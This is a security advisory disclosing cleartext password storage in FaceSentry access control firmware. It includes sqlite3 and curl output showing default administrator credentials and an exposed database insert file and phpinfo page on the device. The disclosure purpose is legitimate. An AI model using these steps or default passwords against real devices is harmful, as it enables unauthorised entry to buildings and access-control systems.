FaceSentry Access Control System 6.4.8 Cleartext Password Storage

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FaceSentry Access Control System 6.4.8 Cleartext Password Storage  
  
  
Vendor: iWT Ltd.  
Product web page: http://www.iwt.com.hk  
Affected version: Firmware 6.4.8 build 264 (Algorithm A16)  
Firmware 5.7.2 build 568 (Algorithm A14)  
Firmware 5.7.0 build 539 (Algorithm A14)  
  
Summary: FaceSentry 5AN is a revolutionary smart identity  
management appliance that offers entry via biometric face  
identification, contactless smart card, staff ID, or QR-code.  
The QR-code upgrade allows you to share an eKey with guests  
while you're away from your Office and monitor all activity  
via the web administration tool. Powered by standard PoE  
(Power over Ethernet), FaceSEntry 5AN can be installed in  
minutes with only 6 screws. FaceSentry 5AN is a true enterprise  
grade access control or time-and-attendance appliance.  
  
Desc: The credentials used for accessing the web front end are  
stored unencrypted on the device in /faceGuard/database/FaceSentryWeb.sqlite.  
  
Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)  
Linux 3.4.113-sun8i (armv7l)  
PHP/7.0.30-0ubuntu0.16.04.1  
PHP/7.0.22-0ubuntu0.16.04.1  
lighttpd/1.4.35  
Armbian 5.38  
Sunxi Linux (sun8i generation)  
Orange Pi PC +  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5529  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5529.php  
  
  
28.05.2019  
  
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$ sqlite3 FaceSentryWeb.sqlite  
SQLite version 3.14.2 2016-09-12 18:50:49  
Enter ".help" for usage hints.  
sqlite> .tables  
TPermission   
TUserFunctionPermissionGroup   
TUserFunctionPermissionGroup_Permission  
TWebUser   
sqlite> select * from TWebUser;  
administrator|Default Sys. Admin|Admin|123456|Eng|Active|administrator|2019-05-28 11:03:57  
user|Defalt Sys. User|UserGrp|123|Eng|Active|administrator|2013-01-01 00:00:00  
admin||Admin|123|zh-TW|Active|administrator|2015-11-23 03:28:10  
sqlite> .q  
  
$ curl http://192.168.11.1/database/insert_db.txt  
Insert into TWebUser(fUserID,fUserFunctionPermissionGroupID,fUserPassword,fUserLanguage,fStatus) VALUES('administrator','Admin','123456','Eng','Active');  
  
Insert into TUserFunctionPermissionGroup (fUserFunctionPermissionGroupID,fUserFunctionPermissionGroupDescription) VALUES('Admin','Administrator');  
  
--phpinfo()--  
http://192.168.11.1/info.php  
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